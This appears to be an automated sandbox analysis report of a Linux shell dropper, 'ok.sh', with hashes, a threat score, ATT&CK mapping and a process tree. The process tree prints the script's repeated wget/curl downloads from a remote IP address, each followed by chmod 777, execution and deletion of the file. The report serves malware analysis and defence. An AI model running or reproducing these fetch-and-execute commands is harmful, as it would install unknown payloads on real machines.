6ebefed959519a65ac1648951811d2c65e5279584f1c281f44fbd19a0f5eb72a

Analysis

max time kernel
2s
max time network
129s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
08/08/2026, 20:06

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General

Target
ok.sh
Size 1KB
Sample260808-yvmccafc72
SHA256 6ebefed959519a65ac1648951811d2c65e5279584f1c281f44fbd19a0f5eb72a
MD5 43ece1e086b3f84c5423c428e02430a6
SHA1 f1b3218b64682b26d19560b70aaafe3d73b2522e
SHA512 b56c63518eb3502d2c87be9565fae7cc35971573938d196085d7bfae3800407e7b8b4577153b8e8753246d4071b83faa5cfd5d566db5283cc857fdd15d416e5d
TLSH
T1DC31A6DA40105E311112DE8E77A23258B28DB7EB298FC7E4C84D1DAA929878CF561B4C
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1481	chmod
1503	chmod
1510	chmod
1538	chmod
1488	chmod
1496	chmod
1517	chmod
1524	chmod
1531	chmod
1545	chmod
1552	chmod
1559	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/191276	1482	ok.sh
/tmp/0d2891	1489	ok.sh
/tmp/d236bf	1497	ok.sh
/tmp/2adcae	1504	ok.sh
/tmp/072508	1511	ok.sh
/tmp/c70dba	1518	ok.sh
/tmp/35079b	1525	ok.sh
/tmp/6cd6ef	1532	ok.sh
/tmp/0c4b84	1539	ok.sh
/tmp/e47c56	1546	ok.sh
/tmp/878f49	1553	ok.sh
/tmp/50fc1e	1560	ok.sh

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/878f49	curl
File opened for modification	/tmp/50fc1e	curl
File opened for modification	/tmp/d236bf	curl
File opened for modification	/tmp/2adcae	curl
File opened for modification	/tmp/072508	curl
File opened for modification	/tmp/c70dba	curl
File opened for modification	/tmp/191276	curl
File opened for modification	/tmp/0d2891	curl
File opened for modification	/tmp/35079b	curl
File opened for modification	/tmp/6cd6ef	curl
File opened for modification	/tmp/0c4b84	curl
File opened for modification	/tmp/e47c56	curl

/tmp/ok.sh
/tmp/ok.sh
1⤵
- Executes dropped EXE
PID:1471
- /usr/bin/wget
  wget http://5.182.210.174/191276
  2⤵
  PID:1472
- /usr/bin/curl
  curl -O http://5.182.210.174/191276
  2⤵
  - Writes file to tmp directory
  PID:1477
- /bin/chmod
  chmod 777 191276
  2⤵
  - File and Directory Permissions Modification
  PID:1481
- /tmp/191276
  ./191276 bc
  2⤵
  PID:1482
- /bin/rm
  rm -rf 191276
  2⤵
  PID:1484
- /bin/rm
  rm -rf 191276.1
  2⤵
  PID:1485
- /usr/bin/wget
  wget http://5.182.210.174/0d2891
  2⤵
  PID:1486
- /usr/bin/curl
  curl -O http://5.182.210.174/0d2891
  2⤵
  - Writes file to tmp directory
  PID:1487
- /bin/chmod
  chmod 777 0d2891
  2⤵
  - File and Directory Permissions Modification
  PID:1488
- /tmp/0d2891
  ./0d2891 bc
  2⤵
  PID:1489
- /bin/rm
  rm -rf 0d2891
  2⤵
  PID:1491
- /bin/rm
  rm -rf 0d2891.1
  2⤵
  PID:1493
- /usr/bin/wget
  wget http://5.182.210.174/d236bf
  2⤵
  PID:1494
- /usr/bin/curl
  curl -O http://5.182.210.174/d236bf
  2⤵
  - Writes file to tmp directory
  PID:1495
- /bin/chmod
  chmod 777 d236bf
  2⤵
  - File and Directory Permissions Modification
  PID:1496
- /tmp/d236bf
  ./d236bf bc
  2⤵
  PID:1497
- /bin/rm
  rm -rf d236bf
  2⤵
  PID:1499
- /bin/rm
  rm -rf d236bf.1
  2⤵
  PID:1500
- /usr/bin/wget
  wget http://5.182.210.174/2adcae
  2⤵
  PID:1501
- /usr/bin/curl
  curl -O http://5.182.210.174/2adcae
  2⤵
  - Writes file to tmp directory
  PID:1502
- /bin/chmod
  chmod 777 2adcae
  2⤵
  - File and Directory Permissions Modification
  PID:1503
- /tmp/2adcae
  ./2adcae bc
  2⤵
  PID:1504
- /bin/rm
  rm -rf 2adcae
  2⤵
  PID:1506
- /bin/rm
  rm -rf 2adcae.1
  2⤵
  PID:1507
- /usr/bin/wget
  wget http://5.182.210.174/072508
  2⤵
  PID:1508
- /usr/bin/curl
  curl -O http://5.182.210.174/072508
  2⤵
  - Writes file to tmp directory
  PID:1509
- /bin/chmod
  chmod 777 072508
  2⤵
  - File and Directory Permissions Modification
  PID:1510
- /tmp/072508
  ./072508 bc
  2⤵
  PID:1511
- /bin/rm
  rm -rf 072508
  2⤵
  PID:1513
- /bin/rm
  rm -rf 072508.1
  2⤵
  PID:1514
- /usr/bin/wget
  wget http://5.182.210.174/c70dba
  2⤵
  PID:1515
- /usr/bin/curl
  curl -O http://5.182.210.174/c70dba
  2⤵
  - Writes file to tmp directory
  PID:1516
- /bin/chmod
  chmod 777 c70dba
  2⤵
  - File and Directory Permissions Modification
  PID:1517
- /tmp/c70dba
  ./c70dba bc
  2⤵
  PID:1518
- /bin/rm
  rm -rf c70dba
  2⤵
  PID:1520
- /bin/rm
  rm -rf c70dba.1
  2⤵
  PID:1521
- /usr/bin/wget
  wget http://5.182.210.174/35079b
  2⤵
  PID:1522
- /usr/bin/curl
  curl -O http://5.182.210.174/35079b
  2⤵
  - Writes file to tmp directory
  PID:1523
- /bin/chmod
  chmod 777 35079b
  2⤵
  - File and Directory Permissions Modification
  PID:1524
- /tmp/35079b
  ./35079b bc
  2⤵
  PID:1525
- /bin/rm
  rm -rf 35079b
  2⤵
  PID:1527
- /bin/rm
  rm -rf 35079b.1
  2⤵
  PID:1528
- /usr/bin/wget
  wget http://5.182.210.174/6cd6ef
  2⤵
  PID:1529
- /usr/bin/curl
  curl -O http://5.182.210.174/6cd6ef
  2⤵
  - Writes file to tmp directory
  PID:1530
- /bin/chmod
  chmod 777 6cd6ef
  2⤵
  - File and Directory Permissions Modification
  PID:1531
- /tmp/6cd6ef
  ./6cd6ef bc
  2⤵
  PID:1532
- /bin/rm
  rm -rf 6cd6ef
  2⤵
  PID:1534
- /bin/rm
  rm -rf 6cd6ef.1
  2⤵
  PID:1535
- /usr/bin/wget
  wget http://5.182.210.174/0c4b84
  2⤵
  PID:1536
- /usr/bin/curl
  curl -O http://5.182.210.174/0c4b84
  2⤵
  - Writes file to tmp directory
  PID:1537
- /bin/chmod
  chmod 777 0c4b84
  2⤵
  - File and Directory Permissions Modification
  PID:1538
- /tmp/0c4b84
  ./0c4b84 bc
  2⤵
  PID:1539
- /bin/rm
  rm -rf 0c4b84
  2⤵
  PID:1541
- /bin/rm
  rm -rf 0c4b84.1
  2⤵
  PID:1542
- /usr/bin/wget
  wget http://5.182.210.174/e47c56
  2⤵
  PID:1543
- /usr/bin/curl
  curl -O http://5.182.210.174/e47c56
  2⤵
  - Writes file to tmp directory
  PID:1544
- /bin/chmod
  chmod 777 e47c56
  2⤵
  - File and Directory Permissions Modification
  PID:1545
- /tmp/e47c56
  ./e47c56 bc
  2⤵
  PID:1546
- /bin/rm
  rm -rf e47c56
  2⤵
  PID:1548
- /bin/rm
  rm -rf e47c56.1
  2⤵
  PID:1549
- /usr/bin/wget
  wget http://5.182.210.174/878f49
  2⤵
  PID:1550
- /usr/bin/curl
  curl -O http://5.182.210.174/878f49
  2⤵
  - Writes file to tmp directory
  PID:1551
- /bin/chmod
  chmod 777 878f49
  2⤵
  - File and Directory Permissions Modification
  PID:1552
- /tmp/878f49
  ./878f49 bc
  2⤵
  PID:1553
- /bin/rm
  rm -rf 878f49
  2⤵
  PID:1555
- /bin/rm
  rm -rf 878f49.1
  2⤵
  PID:1556
- /usr/bin/wget
  wget http://5.182.210.174/50fc1e
  2⤵
  PID:1557
- /usr/bin/curl
  curl -O http://5.182.210.174/50fc1e
  2⤵
  - Writes file to tmp directory
  PID:1558
- /bin/chmod
  chmod 777 50fc1e
  2⤵
  - File and Directory Permissions Modification
  PID:1559
- /tmp/50fc1e
  ./50fc1e bc
  2⤵
  PID:1560
- /bin/rm
  rm -rf 50fc1e
  2⤵
  PID:1562
- /bin/rm
  rm -rf 50fc1e.1
  2⤵
  PID:1563

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

191276

Path /tmp/191276
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

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